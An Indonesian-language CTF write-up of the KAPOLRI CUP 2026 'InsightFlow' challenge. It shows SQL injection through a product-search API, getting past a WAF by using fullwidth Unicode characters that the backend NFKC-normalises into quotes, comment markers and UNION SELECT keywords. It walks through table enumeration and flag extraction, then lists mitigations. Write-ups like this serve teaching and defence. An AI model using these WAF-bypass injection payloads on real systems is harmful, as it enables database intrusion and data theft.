~/tiramisaks
← back to /home

KAPOLRI CUP 2026: InsightFlow Analysis

KAPOLRI CUP 2026 2026-08-01 Forensics / Reverse Engineering
#KAPOLRI CUP 2026 #InsightFlow #Forensics #Reverse Engineering

InsightFlow Analytics — Product Search (SQLi via NFKC WAF Bypass)

Kategori: Web / SQL Injection / WAF Bypass Target: http://18.143.187.232:8089/ Flag: polriCTF26{un1c0d3_n0rm4l1z4t10n_pr0xy_w4f_byp4ss}


Ringkasan Solusi

  1. Recon — Aplikasi hanya mengekspos GET /api/products?q=<name> (search produk). Di belakangnya ada “next-gen edge WAF” (Envoy) bernama insightflow-waf.
  2. Deteksi SQLiq=% dan q=_ mengembalikan semua produk (LIKE wildcard), berarti query WHERE name LIKE '%<q>%'.
  3. Petakan WAF — WAF memblokir byte ASCII ', ", backtick, --, dan keyword SQL (UNION, SELECT, information_schema, pg_*, OR 1=1, dll).
  4. Kunci bug — WAF cek byte mentah dari input, sedangkan backend melakukan normalisasi Unicode NFKC saat menyusun query. Artinya karakter fullwidth yang NFKC-normalisasi ke ASCII lolos WAF tapi jadi SQL sungguhan di sisi DB.
  5. Bypass — semua keyword dan delimiter ditulis fullwidth:
    • (U+FF07) → '
    • -- (U+FF0D U+FF0D) → -- (komentar)
    • UNIONUNION, SELECTSELECT, dst.
  6. Enumerasiinformation_schema.tables → ketemu tabel ctf_flag.
  7. Ekstraksi — kolom id, flag, note; baris flag terbaca.

Recon Detail

1. Pengenalan Aplikasi

curl http://18.143.187.232:8089/
# {"service":"InsightFlow Analytics API","version":"3.2.1","endpoints":["/api/health","/api/products?q=<name>"]}

curl "http://18.143.187.232:8089/api/products?q=a"
# {"q":"a","count":8,"rows":[{"id":1,"name":"Quantum Router X1","category":"network"}, ...]}

/api/health{"ok":true}. Tidak ada endpoint lain (fuzz → hanya 4 route).

2. Deteksi Wildcard LIKE

q=%    -> count 10 (semua produk)
q=_    -> count 10 (semua produk, _ = wildcard 1 char)
q=*    -> count 0  (bukan wildcard di SQL)

Kesimpulan: query-nya SELECT id, name, category FROM products WHERE name LIKE '%<q>%' dan input diinterpolasi langsung.

3. Petakan Aturan WAF

Dicoba satu per satu (dengan jeda agar tidak kena rate-limit):

InputHasil
' (ASCII)403 blocked by insightflow-waf
", `403
-- (ASCII)403
UNION, SELECT, FROM, WHERE, OR, AND, LIKE403 (raw ASCII)
information_schema, pg_tables, pg_class, current_database, dll403 (raw ASCII)
OR 1=1403
semua karakter lain200

WAF memblokir berdasarkan byte mentah dari query parameter (setelah URL-decode), termasuk keyword SQL dan DB-introspection.

4. Uji Injeksi

Dengan kutip fullwidth (U+FF07):

q=' OR '1'='1        -> count 10 (semua produk)  => INJEKSI BERHASIL
q=' ORDER BY 3 --    -> count 10 (3 kolom)
q=' ORDER BY 4 --    -> count 0  (tidak ada kolom ke-4)

disuntikkan sebagai ' asli ke query, sementara WAF tidak melihatnya (byte mentah berbeda). -- -- menjadi komentar yang valid (PostgreSQL), menutup sisa template %'.

5. Identifikasi DBMS = PostgreSQL

  • # tidak berfungsi sebagai komentar (hanya -- valid) → bukan MySQL.
  • UNION SELECT 1,2,3 error (tipe int vs text tidak cocok) tapi UNION SELECT 999,'FLAGDATA','FLAGCAT' sukses → PostgreSQL dengan kolom id int, name/category text.

Eksploitasi

Konvensi Payload

Semua huruf keyword/identifier ditulis fullwidth (WAF lolos), delimiter ' dan -- juga fullwidth; angka, koma, underscore, titik dibiarkan ASCII (tidak diblokir).

Q  = "'"          # -> '
CM = "-- "       # -> -- (komentar)

Payload dasar UNION (3 kolom, tipe cocok):

' UNION SELECT 1,table_name,'x' FROM information_schema.tables --

Normalisasi di DB menjadi:

SELECT id, name, category FROM products
WHERE name LIKE '%' UNION SELECT 1, table_name, 'x' FROM information_schema.tables -- %'

1. Enumerasi Tabel

SELECT 1, table_name, 'x' FROM information_schema.tables WHERE table_schema='public'

Hasil memuat tabel: products dan ctf_flag.

2. Enumerasi Kolom

SELECT 1, column_name, 'x' FROM information_schema.columns WHERE table_name='ctf_flag'

Kolom: id, flag, note.

3. Ambil Flag

SELECT 1, flag, note FROM ctf_flag

Hasil:

id=1, flag=polriCTF26{un1c0d3_n0rm4l1z4t10n_pr0xy_w4f_byp4ss}, note=do-not-expose-through-search

Note baris itu persis menggambarkan kenapa ops mengira baris ini mustahil dijangkau lewat kotak pencarian.


Script Solver

Lihat insightflow_solve.py di direktori yang sama.

python3 insightflow_solve.py

Mitigasi

  • WAF harus melakukan normalisasi Unicode (NFKC) yang sama dengan aplikasi sebelum inspeksi, atau blokir karakter kontrol/ambigu yang bisa di-NFKC-kan.
  • Aplikasi harus parameterized query (prepared statement), bukan interpolasi string LIKE '%${q}%'.
  • Jangan pernah menyimpan secret/flag di tabel yang bisa dijangkau DB injection; pisahkan privilege DB.

Flag

polriCTF26{un1c0d3_n0rm4l1z4t10n_pr0xy_w4f_byp4ss}